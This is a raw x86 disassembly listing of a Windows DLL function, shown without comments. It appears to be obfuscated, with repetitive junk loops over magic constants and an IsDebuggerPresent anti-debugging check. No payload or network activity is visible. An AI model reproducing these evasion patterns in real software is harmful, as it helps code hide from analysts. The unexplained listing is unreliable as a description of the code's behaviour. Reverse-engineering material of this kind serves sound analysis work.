xor eax, eax
mov dword [ebp - 0x38], eax
jmp 0x1002fd61
mov dword [ebp - 0x3c], 0x7629
cmp dword [ebp - 0x3c], eax
jne 0x1002fd66
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jle 0x1002fd52
inc dword [ebp - 0x44]
push 1
pop esi
cmp dword [ebp - 0x44], ebx
jle 0x1002fc6a
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x1002fc1b
mov dword [ebp - 0x44], 0x5c68ec0a
mov ecx, 0x47c4d145
mov dword [ebp - 0x1c], 0xeec54165
mov dword [ebp - 0x374], ecx
mov dword [ebp - 0x370], ecx
mov dword [ebp - 0x36c], ecx
mov dword [ebp - 0x368], ecx
mov dword [ebp - 0x38], 0x1521
mov dword [ebp - 0x24], 0x534ce5fe
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0xffffffef
jg 0x1002fe3f
mov dword [ebp - 0x14], 0xa0d72276
mov dword [ebp - 0x14], eax
jmp 0x1002fde5
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xefc], 0x53bc6e5c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002fdd4
mov eax, dword [ebp - 0xef4]
xor edx, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
setg dl
xor eax, eax
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x14], eax
jmp 0x1002fe2d
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002fe2a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xefc], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002fe12
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jle 0x1002fe0a
dec dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0xffffffef
push 0
pop eax
jle 0x1002fdc8
mov dword [ebp - 0x1c], eax
jmp 0x1002ffa9
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1002fe6a
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1464], 0x5cb5542a
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002fe52
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1002fe8a
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x9a8], 0x68fc786c
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002fe72
xor eax, eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], ebx
jg 0x1002ffa3
mov eax, dword [ebp - 0x9a8]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0x374]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0x374]
mov dword [ebp - 0x24], esi
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x370]
jg 0x1002fece
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0x374]
mov eax, dword [ebp - 0x38]
xor edx, edx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
push 5
mov eax, dword [ebp + eax*4 - 0x374]
pop eax
mov dword [ebp - 0x1460], eax
mov eax, dword [ebp - 0x44]
push 5
mov ecx, dword [ebp + eax*4 - 0x374]
mov eax, dword [ebp - 0x44]
neg ecx
mov eax, dword [ebp + eax*4 - 0x374]
cmp ecx, eax
mov eax, dword [ebp - 0x44]
setl dl
xor ecx, ecx
sub edx, dword [ebp + eax*4 - 0x374]
mov eax, dword [ebp - 0x1c]
cmp edx, eax
mov eax, dword [ebp - 0x9a8]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x9a0]
setge dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x44]
sete bl
xor ecx, ecx
mov esi, dword [ebp + eax*4 - 0x374]
mov eax, dword [ebp - 0x44]
cmp ebx, eax
mov eax, dword [ebp - 0x1c]
setl cl
xor edx, edx
cmp ecx, esi
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x44]
pop edx
setne cl
push 3
add ecx, dword [ebp + eax*4 - 0x374]
xor eax, eax
cmp ecx, edx
pop ebx
setle al
mov dword [ebp - 0x9a8], eax
xor eax, eax
mov dword [ebp - 0x38], eax
jmp 0x1002ff8d
mov dword [ebp - 0x24], 0x7629
cmp dword [ebp - 0x24], eax
jne 0x1002ff92
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jle 0x1002ff7e
inc dword [ebp - 0x44]
push 1
pop esi
cmp dword [ebp - 0x44], ebx
jle 0x1002fe96
xor eax, eax
inc dword [ebp - 0x1c]
push 1
pop esi
cmp dword [ebp - 0x1c], ebx
jle 0x1002fe47
mov dword [ebp - 0x44], 0x5c68ec0a
mov ecx, 0x47c4d145
mov dword [ebp - 0x1c], 0xeec54165
mov dword [ebp - 0x394], ecx
mov dword [ebp - 0x390], ecx
mov dword [ebp - 0x38c], ecx
mov dword [ebp - 0x388], ecx
mov dword [ebp - 0x38], 0x1521
mov dword [ebp - 0x24], 0x534ce5fe
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0xffffffef
jg 0x1003006e
mov dword [ebp - 0x14], 0xa0d72276
mov dword [ebp - 0x14], eax
jmp 0x10030014
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x110c], 0x53bc6e5c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10030003
mov eax, dword [ebp - 0x1104]
xor edx, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
setg dl
xor eax, eax
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x14], eax
jmp 0x1003005c
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10030059
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x110c], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10030041
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jle 0x10030039
dec dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0xffffffef
push 0
pop eax
jle 0x1002fff7
mov dword [ebp - 0x1c], eax
jmp 0x100301d5
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10030099
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x141c], 0x5cb5542a
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10030081
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x100300b9
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x9c0], 0x68fc786c
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x100300a1
xor eax, eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], ebx
jg 0x100301d2
mov eax, dword [ebp - 0x9c0]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0x394]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0x394]
xor eax, eax
inc eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x390]
jg 0x10030100
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0x394]
mov eax, dword [ebp - 0x38]
xor edx, edx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
push 5
mov eax, dword [ebp + eax*4 - 0x394]
pop eax
mov dword [ebp - 0x1418], eax
mov eax, dword [ebp - 0x44]
push 5
mov ecx, dword [ebp + eax*4 - 0x394]
mov eax, dword [ebp - 0x44]
neg ecx
mov eax, dword [ebp + eax*4 - 0x394]
cmp ecx, eax
mov eax, dword [ebp - 0x44]
setl dl
xor ecx, ecx
sub edx, dword [ebp + eax*4 - 0x394]
mov eax, dword [ebp - 0x1c]
cmp edx, eax
mov eax, dword [ebp - 0x9c0]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x9b8]
setge dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x44]
sete bl
xor ecx, ecx
mov esi, dword [ebp + eax*4 - 0x394]
mov eax, dword [ebp - 0x44]
cmp ebx, eax
mov eax, dword [ebp - 0x1c]
setl cl
xor edx, edx
cmp ecx, esi
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x44]
pop edx
setne cl
push 3
add ecx, dword [ebp + eax*4 - 0x394]
xor eax, eax
cmp ecx, edx
pop ebx
setle al
mov dword [ebp - 0x9c0], eax
xor eax, eax
mov dword [ebp - 0x38], eax
jmp 0x100301bf
mov dword [ebp - 0x24], 0x7629
cmp dword [ebp - 0x24], eax
jne 0x100301c4
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jle 0x100301b0
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jle 0x100300c5
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x10030076
movdqa xmm0, xmmword [0x10007b90]
lea eax, [ebp - 0x1370]
push eax
lea eax, [ebp - 0x1380]
mov dword [ebp - 0x58], 0x477862fd
mov dword [ebp - 0x34], 0x151c3c39
lea ecx, [ebp - 0x14d8]
push eax
movdqu xmmword [ebp - 0x1380], xmm0
call fcn.10015c83
lea ecx, [ebp - 0x292]
mov esi, eax
call fcn.10008c23
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x1494]
push dword [esi]
call fcn.10015c32
mov dword [ebp - 4], 0xd
xor eax, eax
mov dword [ebp - 0x14], 0xfffffffb
mov dword [ebp - 0x58], eax
jmp 0x10030329
mov dword [ebp - 0x38], 0x398070a
lea ecx, [ebp - 0x11c4]
push 8
mov dword [ebp - 0x34], 0xe3ff14eb
pop eax
mov dword [ebp - 0x34], 0x714ad38
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x34], 9
push 4
call fcn.10015bd6
xor eax, eax
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x14], eax
jmp 0x10030299
push dword [ebp - 0x14]
lea ecx, [ebp - 0x11c4]
call fcn.10015c74
and dword [eax], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10030285
mov dword [ebp - 0x38], 0x10
jmp 0x100302f1
push ebx
lea ecx, [ebp - 0xf14]
call fcn.10015bd6
mov byte [ebp - 4], 0xf
xor eax, eax
mov dword [ebp - 0x24], 0x450b
mov dword [ebp - 0x14], eax
jmp 0x100302d7
push dword [ebp - 0x14]
call fcn.10015c74
mov dword [eax], 0x56a3367f
inc dword [ebp - 0x14]
lea ecx, [ebp - 0xf14]
cmp dword [ebp - 0x14], ebx
jl 0x100302c6
dec dword [ebp - 0x24]
mov byte [ebp - 4], 0xe
call fcn.10015c58
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 4
jle 0x100302a8
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x10030312
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1003030f
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x100302fe
lea ecx, [ebp - 0x11c4]
mov byte [ebp - 4], 0xd
call fcn.10015c58
dec dword [ebp - 0x58]
cmp dword [ebp - 0x58], 0xffffffeb
jl 0x1003024b
or eax, 0xffffffff
lea ecx, [ebp - 0x1494]
mov dword [ebp - 4], eax
call fcn.10015c58
xor ebx, ebx
lea ecx, [ebp - 0x348]
inc ebx
push ebx
call fcn.10015bd6
mov dword [ebp - 4], 0x10
lea ecx, [ebp - 0x524]
xor eax, eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x24], 0x3fc4b03e
push 2
call fcn.10015bd6
mov byte [ebp - 4], 0x11
xor eax, eax
mov dword [ebp - 0x24], 0x80d1c1d6
mov dword [ebp - 0x3c], 0xfedaacda
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x100303ad
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x348]
call fcn.10015c74
mov dword [eax], 0xfffffffa
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1003038f
xor eax, eax
push 3
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x100303d0
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1434], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x100303b8
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x100303f8
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x524]
call fcn.10015c74
mov dword [eax], 0xfffffffa
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x100303d9
xor eax, eax
push eax
lea ecx, [ebp - 0x348]
call fcn.10015c74
xor ebx, ebx
lea ecx, [ebp - 0x348]
push ebx
inc dword [eax]
call fcn.10015c74
cmp dword [eax], ebx
jne 0x10030427
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x1430], eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push ebx
lea ecx, [ebp - 0x524]
call fcn.10015c74
push ebx
lea ecx, [ebp - 0x348]
mov esi, eax
call fcn.10015c74
mov ecx, dword [esi]
xor edx, edx
cmp ecx, dword [eax]
setg dl
cmp edx, 0x4365
je 0x10030469
push ebx
lea ecx, [ebp - 0x348]
call fcn.10015c74
cmp dword [eax], ebx
je 0x10030469
xor eax, eax
lea esi, [eax + 1]
jmp 0x1003046f
xor eax, eax
xor ebx, ebx
mov esi, eax
mov eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0x524]
push ebx
call fcn.10015c74
xor ebx, ebx
lea ecx, [ebp - 0x348]
cmp esi, dword [eax]
setle bl
xor eax, eax
push eax
call fcn.10015c74
lea ecx, [ebp - 0x348]
mov eax, dword [eax]
sub eax, ebx
xor ebx, ebx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push ebx
call fcn.10015c74
push ebx
lea ecx, [ebp - 0x348]
call fcn.10015c74
xor eax, eax
lea ecx, [ebp - 0x524]
inc eax
push eax
call fcn.10015c74
push 8
pop ecx
push ebx
cmp dword [eax], ecx
lea ecx, [ebp - 0x348]
sbb esi, esi
neg esi
call fcn.10015c74
xor ecx, ecx
cmp esi, dword [eax]
setl cl
cmp ecx, 0xfffffff7
lea ecx, [ebp - 0x524]
setge bl
xor eax, eax
push eax
call fcn.10015c74
xor ecx, ecx
cmp ebx, dword [eax]
setl cl
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x524]
call fcn.10015c58
or ebx, 0xffffffff
lea ecx, [ebp - 0x348]
mov dword [ebp - 4], ebx
call fcn.10015c58
mov dword [ebp - 0x44], 0x5c68ec0a
lea ecx, [ebp - 0x4f0]
push 4
call fcn.10015bd6
mov dword [ebp - 4], 0x12
xor eax, eax
mov dword [ebp - 0x24], 0x80c3414b
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x10030564
push dword [ebp - 0x10]
lea ecx, [ebp - 0x4f0]
call fcn.10015c74
mov dword [eax], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10030549
xor eax, eax
xor esi, esi
mov dword [ebp - 0x10], eax
inc esi
cmp dword [ebp - 0x10], esi
jge 0x10030587
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xa4], 0xada439be
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1003056f
xor eax, eax
push 3
pop ebx
mov dword [ebp - 0xa4], ebx
cmp dword [ebp - 0xa4], eax
jl 0x10030688
mov dword [ebp - 0x3c], 0x21de
lea ecx, [ebp - 0xd58]
push 4
call fcn.10015bd6
xor eax, eax
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x14], eax
jmp 0x100305d2
push dword [ebp - 0x14]
lea ecx, [ebp - 0xd58]
call fcn.10015c74
mov dword [eax], 0xfffffff8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x100305bb
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0xa4]
xor eax, eax
cmp dword [ebp - 0xa4], eax
jne 0x100305fc
push dword [ebp - 0xa4]
lea ecx, [ebp - 0x4f0]
call fcn.10015c74
push esi
lea ecx, [ebp - 0x4f0]
call fcn.10015c74
lea ecx, [ebp - 0x4f0]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
xor eax, eax
push eax
call fcn.10015c74
mov ecx, dword [ebp - 0x24]
xor ebx, ebx
push 2
add ecx, dword [eax]
or eax, 0xffffffff
cmp ecx, eax
lea ecx, [ebp - 0x4f0]
setge bl
call fcn.10015c74
xor ecx, ecx
cmp ebx, dword [eax]
sete cl
xor ebx, ebx
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x4f0]
push ebx
call fcn.10015c74
xor ecx, ecx
push esi
cmp dword [eax], ebx
sete cl
cmp ecx, dword [ebp - 0x3c]
lea ecx, [ebp - 0xd58]
setle bl
call fcn.10015c74
lea ecx, [ebp - 0xd58]
mov byte [ebp - 4], 0x12
mov dword [eax], ebx
call fcn.10015c58
dec dword [ebp - 0xa4]
jns 0x1003059c
push 3
pop ebx
or eax, 0xffffffff
lea ecx, [ebp - 0x4f0]
mov dword [ebp - 4], eax
call fcn.10015c58
mov dword [ebp - 0x10], 0xeec54165
xor eax, eax
mov dword [ebp - 0x1c], 0x56915a13
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x100306c9
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1f4], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100306b1
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x100306e9
push 0x1a26
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetStretchBltMode]
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jg 0x100307d2
mov dword [ebp - 0x14], eax
jmp 0x1003070c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x7c4], 0xee61780e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100306fb
mov eax, dword [ebp - 0x1c]
xor edx, edx
push 6
mov eax, dword [ebp + eax*4 - 0x1f4]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x1f4]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x1f4]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
sete dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x1f4]
cmp edx, eax
pop eax
setl cl
cmp eax, ecx
mov eax, dword [ebp - 0x1f4]
sbb ecx, ecx
xor ebx, ebx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setge bl
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x1f4]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x1f4]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setne dl
sub edx, dword [ebp + eax*4 - 0x1f4]
cmp edx, ebx
jl 0x1003078f
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x1f4]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x1f4]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x1f4]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1f4], ecx
xor eax, eax
mov dword [ebp - 0x7c4], ecx
cmp dword [ebp - 0x1f0], eax
jne 0x100307cd
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x100306f6
push 3
xor eax, eax
pop ebx
mov ecx, 0x47c4d145
mov dword [ebp - 0x3b4], ecx
mov dword [ebp - 0x3b0], ecx
mov dword [ebp - 0x3ac], ecx
mov dword [ebp - 0x3a8], ecx
lea ecx, [ebp - 0xf2c]
mov dword [ebp - 0x40], 0x9d29
mov dword [ebp - 0x34], 0x887cf2e5
mov dword [ebp - 0x34], 0x9ed9ba07
mov dword [ebp - 0x14], 0x285faafe
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x34], 0x97412df3
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x34], 0x59cdc345
push 2
call fcn.10015bd6
push 2
lea ecx, [ebp - 0xb48]
mov dword [ebp - 4], 0x14
call fcn.10015bd6
xor eax, eax
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1003086e
push dword [ebp - 0x10]
lea ecx, [ebp - 0xf2c]
call fcn.10015c74
mov dword [eax], 0x2e7ccc89
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003084f
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10030896
push dword [ebp - 0x10]
lea ecx, [ebp - 0xb48]
call fcn.10015c74
mov dword [eax], 0xfffa
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10030877
xor eax, eax
cmp dword [ebp - 0x40], eax
jne 0x1003089d
mov esi, eax
push eax
lea ecx, [ebp - 0xb48]
call fcn.10015c74
xor edx, edx
push 5
dec dword [eax]
cmp esi, dword [eax]
mov eax, dword [ebp - 0x40]
setg dl
xor ecx, ecx
cmp eax, edx
pop edx
setl cl
xor eax, eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edx
jne 0x100308f5
or ecx, 0xffffffff
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x34], 0x58d8
mov dword [ebp - 0x34], 0xfffffff8
mov dword [ebp - 0x3c], 0xfffffffd
mov dword [ebp - 0x3c], eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
je 0x100308cf
lea ecx, [ebp - 0xb48]
call fcn.10015c58
or eax, 0xffffffff
lea ecx, [ebp - 0xf2c]
mov dword [ebp - 4], eax
call fcn.10015c58
movdqa xmm0, xmmword [0x10007c40]
lea eax, [ebp - 0x1230]
push eax
lea eax, [ebp - 0x1240]
mov dword [ebp - 0x58], 0x1521
push eax
lea ecx, [ebp - 0x14d0]
movdqu xmmword [ebp - 0x1240], xmm0
call fcn.10015c83
lea ecx, [ebp - 0x2a0]
mov esi, eax
call fcn.10008c23
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xec]
push dword [esi]
call fcn.10015c32
mov dword [ebp - 4], 0x16
or eax, 0xffffffff
mov dword [ebp - 0x28], 0x81320f2d
mov dword [ebp - 0x24], 0xfffffffc
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x100309a0
mov ecx, 0xffff
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x80c], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1003098c
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x100309b6
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x15c8], 0x2499e68f
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x100309a5
xor eax, eax
lea ecx, [ebp - 0xec]
inc eax
push eax
call fcn.10015c74
xor ebx, ebx
cmp dword [eax], ebx
jne 0x100309dd
push ebx
lea ecx, [ebp - 0xec]
call fcn.10015c74
push ebx
lea ecx, [ebp - 0xec]
call fcn.10015c74
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
je 0x100309ff
push eax
lea ecx, [ebp - 0xec]
call fcn.10015c74
push 3
pop eax
push eax
lea ecx, [ebp - 0xec]
call fcn.10015c74
mov ecx, dword [ebp - 0x28]
xor ebx, ebx
cmp ecx, dword [eax]
lea ecx, [ebp - 0xec]
setge bl
xor eax, eax
push eax
call fcn.10015c74
xor ecx, ecx
cmp ebx, dword [eax]
setl cl
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xec]
mov esi, dword [ebp - 0x24]
neg esi
sbb esi, esi
xor ebx, ebx
push ebx
neg esi
call fcn.10015c74
mov eax, dword [eax]
imul eax, esi
test eax, eax
jne 0x10030a53
mov eax, dword [ebp - 0x28]
push ebx
lea ecx, [ebp - 0xec]
call fcn.10015c74
xor esi, esi
lea ecx, [ebp - 0xec]
inc esi
push esi
call fcn.10015c74
push 3
pop eax
push eax
lea ecx, [ebp - 0xec]
call fcn.10015c74
push ebx
lea ecx, [ebp - 0xec]
call fcn.10015c74
push ebx
lea ecx, [ebp - 0xec]
call fcn.10015c74
mov eax, dword [eax]
mov dword [ebp - 0x80c], eax
mov dword [ebp - 0x15c8], eax
mov dword [ebp - 0x28], 0x12
jmp 0x10030b94
mov dword [ebp - 0x24], 0x98c5
xor edx, edx
mov dword [ebp - 0x14], 0xabee
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x4c], 2
mov eax, dword [ebp - 0x80c]
mov eax, dword [ebp - 0x24]
imul ecx, dword [ebp - 0x40], 0xbae54fcd
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setl dl
add edx, 0x796fb6c7
jne 0x10030b00
push esi
lea ecx, [ebp - 0xec]
call fcn.10015c74
cmp dword [eax], ebx
jne 0x10030b00
mov ecx, esi
jmp 0x10030b06
xor eax, eax
xor ebx, ebx
mov ecx, eax
mov eax, dword [ebp - 0x14]
sub ecx, eax
add ecx, dword [ebp - 0x14]
imul eax, ecx, 0x74b4
lea ecx, [ebp - 0xec]
push ebx
mov dword [ebp - 0x4c], eax
call fcn.10015c74
mov ecx, dword [ebp - 0x4c]
xor ebx, ebx
imul ecx, dword [ebp - 0x40]
cmp ecx, 0x1bd053a6
lea ecx, [ebp - 0xec]
setg bl
sub ebx, dword [ebp - 0x808]
neg ebx
sbb ebx, ebx
inc ebx
sub ebx, dword [eax]
neg ebx
sbb ebx, ebx
inc ebx
neg ebx
neg ebx
sbb ebx, ebx
xor eax, eax
push eax
inc ebx
call fcn.10015c74
xor ecx, ecx
cmp dword [eax], ebx
mov eax, dword [ebp - 0x804]
setle cl
sub ecx, eax
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
xor eax, eax
cmp dword [ebp - 0x80c], eax
je 0x10030b8b
cmp dword [ebp - 0x14], eax
je 0x10030b8b
mov eax, esi
push 0
mov dword [ebp - 0x4c], eax
inc dword [ebp - 0x28]
pop ebx
or eax, 0xffffffff
cmp dword [ebp - 0x28], 0x14
jge 0x10030aaf
lea ecx, [ebp - 0xec]
mov dword [ebp - 4], eax
call fcn.10015c58
mov dword [ebp - 0x24], 0x534ce5fe
xor eax, eax
mov dword [ebp - 0x24], 0xba095a97
xor ebx, ebx
mov dword [ebp - 0x5c], 0x5336de01
inc ebx
mov dword [ebp - 0x40], 0xc3a0
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x936be856
push 3
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x14], eax
pop ecx
jmp 0x10030bf6
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x53c], 0x67f5ed9a
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10030be5
mov eax, dword [ebp - 0x534]
mov edx, dword [ebp - 0x3c]
sub edx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x40]
neg edx
mov ecx, dword [ebp - 0x534]
sbb edx, edx
sub ecx, eax
inc edx
inc dword [ebp - 0x40]
cmp ecx, edx
jg 0x10030c22
mov esi, ebx
jmp 0x10030c26
xor eax, eax
mov esi, eax
mov ecx, dword [ebp - 0x534]
xor edx, edx
mov eax, dword [ebp - 0x534]
cmp ecx, eax
setne dl
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x534]
sub esi, eax
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x534]
sub edx, esi
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setle cl
mov dword [ebp - 0x5c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x5c]
cmp eax, 0xdf11bbb4
mov eax, dword [ebp - 0x4c]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
setl dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x50], eax
or eax, 0xffffffff
mov dword [ebp - 0x28], 0x5c68ec0a
